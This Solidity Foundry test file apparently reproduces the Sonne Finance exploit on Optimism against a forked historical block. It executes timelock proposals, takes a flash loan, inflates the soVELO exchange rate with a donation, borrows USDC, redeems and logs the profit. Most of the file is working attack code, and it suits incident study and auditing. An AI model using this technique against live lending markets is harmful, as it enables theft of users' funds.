-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Sonne_exp.sol
184 lines (122 loc) · 6.39 KB
/
Sonne_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~$20M USD$
// Attacker EOA1 : https://optimistic.etherscan.io/address/0x5d0d99e9886581ff8fcb01f35804317f5ed80bbb
// Attacker EOA2 : https://optimistic.etherscan.io/address/0xae4a7cde7c99fb98b0d5fa414aa40f0300531f43
// Attack Tx1 : https://optimistic.etherscan.io/tx/0x45c0ccfd3ca1b4a937feebcb0f5a166c409c9e403070808835d41da40732db96
// Attack Tx2 : https://optimistic.etherscan.io/tx/0x9312ae377d7ebdf3c7c3a86f80514878deb5df51aad38b6191d55db53e42b7f0
// Attack Contract1 : https://optimistic.etherscan.io/address/0xa78aefd483ce3919c0ad55c8a2e5c97cbac1caf8
// Attack Contract2 : https://optimistic.etherscan.io/address/0x02FA2625825917E9b1F8346a465dE1bBC150C5B9
// @Info
// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0xe3b81318b1b6776f0877c3770afddff97b9f5fe5
interface TimelockController {
function execute(
address target,
uint256 value,
bytes memory data,
bytes32 predecessor,
bytes32 salt
) external payable;
}
interface VolatileV2Pool {
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
}
contract ContractTest is Test {
address soVELO = 0xe3b81318B1b6776F0877c3770AfDdFf97b9f5fE5;
address soUSDC = 0xEC8FEa79026FfEd168cCf5C627c7f486D77b765F;
address Unitroller = 0x60CF091cD3f50420d50fD7f707414d0DF4751C58;
address VELO_Token_V2 = 0x9560e827aF36c94D2Ac33a39bCE1Fe78631088Db;
address USDC = 0x7F5c764cBc14f9669B88837ca1490cCa17c31607;
address VolatileV2_USDC_VELO = 0x8134A2fDC127549480865fB8E5A9E8A8a95a54c5;
TimelockController t = TimelockController(0x37fF10390F22fABDc2137E428A6E6965960D60b6);
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/optimism", 120_062_493 - 1);
}
function testExploit() public {
// 1. Execute proposals
bytes memory data1 = hex"fca7820b0000000000000000000000000000000000000000000000000429d069189e0000";
bytes memory data2 = hex"f2b3abbd0000000000000000000000007320bd5fa56f8a7ea959a425f0c0b8cac56f741e";
bytes memory data3 = hex"55ee1fe100000000000000000000000022c7e5ce392bc951f63b68a8020b121a8e1c0fea";
bytes memory data4 = hex"a76b3fda000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe5";
bytes memory data5 =
hex"e4028eee000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe500000000000000000000000000000000000000000000000004db732547630000";
t.execute(
soVELO,
0,
data1,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x476d385370ae53ff1c1003ab3ce694f2c75ebe40422b0ba11def4846668bc84c
);
t.execute(
soVELO,
0,
data2,
0x0000000000000000000000000000000000000000000000000000000000000000,
0xa57973a3d5a5d99d454c54117d7d30a57a8aca089891f505f120174216edaf42
);
t.execute(
Unitroller,
0,
data3,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x42408274449fd7829d7fb6abe2e89a618a853acf68d1553b2f6b8b671ac443fd
);
t.execute(
Unitroller,
0,
data4,
0x0000000000000000000000000000000000000000000000000000000000000000,
0xb02c80e66eae74aef841e5d998aef03d201de66590950b6353e9a28b289c8c8b
);
t.execute(
Unitroller,
0,
data5,
0x0000000000000000000000000000000000000000000000000000000000000000,
0xe50459992a5c9678d53efbffbf6b95687111e5789dada996e41fea2986077bed
);
// 2. Approve VELO to soVEOLO
IERC20(VELO_Token_V2).approve(soVELO, type(uint256).max);
// 3. FlashLoan
VolatileV2Pool(VolatileV2_USDC_VELO).swap(0, 35_469_150_965_253_049_864_450_449, address(this), hex"01");
}
function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
// 4. Mint 2 wei soVELO
CErc20Interface(soVELO).mint(400_000_001);
uint256 Velo_amount_of_soVelo = IERC20(VELO_Token_V2).balanceOf(soVELO);
console.log("Amount of VELO OF soVELO after minting", Velo_amount_of_soVelo);
console.log("Amount of soVELO been mint", IERC20(soVELO).balanceOf(address(this)));
// 5. Transfer All VELO_Token_V2 to soVELO
uint256 VeloAmountOfthis = IERC20(VELO_Token_V2).balanceOf(address(this));
IERC20(VELO_Token_V2).transfer(soVELO, VeloAmountOfthis);
uint256 Velo_amount_of_soVelo_after_transfer = IERC20(VELO_Token_V2).balanceOf(soVELO);
console.log("Amount of VELO OF soVELO after tranfer", Velo_amount_of_soVelo_after_transfer);
// 6. Enter Market
address[] memory cTokens = new address[](2);
cTokens[0] = soUSDC;
cTokens[1] = soVELO;
IUnitroller(Unitroller).enterMarkets(cTokens);
CErc20Interface(soUSDC).borrow(768_947_220_961);
uint256 usdc_amount_after_borrow = IERC20(USDC).balanceOf(address(this));
console.log("usdc_amount_after_borrow", usdc_amount_after_borrow);
// 7. Redeem
// uint256 Amount_redeemAllowed = ICointroller(Unitroller).redeemAllowed(soVELO,address(this),2);
ICErc20Delegate(soVELO).redeemUnderlying(Velo_amount_of_soVelo_after_transfer - 1);
// ICErc20Delegate(soVELO).redeemUnderlying(1);
uint256 Velo_amount_of_Attacker_after_redeem = IERC20(VELO_Token_V2).balanceOf(address(this));
console.log("Velo_amount_of_Attacker_after_redeem", Velo_amount_of_Attacker_after_redeem);
// // 8. LiquidateBorrow
// ICErc20Delegate(soUSDC).liquidateBorrow(address(this), 4651761644569103, soVELO);
// 9. Repay FlashLoan
IERC20(VELO_Token_V2).transfer(VolatileV2_USDC_VELO, amount1 - 1);
// 10. Repay FlashLoan Fee with USDC
IERC20(USDC).transfer(VolatileV2_USDC_VELO, 44_656_863_632);
// 11. Check profit from this attack
uint256 Profit = IERC20(USDC).balanceOf(address(this));
console.log("---------------------------------------------------");
console.log("USDC Profit from this attack: $", Profit / 10 ** 6);
console.log("---------------------------------------------------");
}
}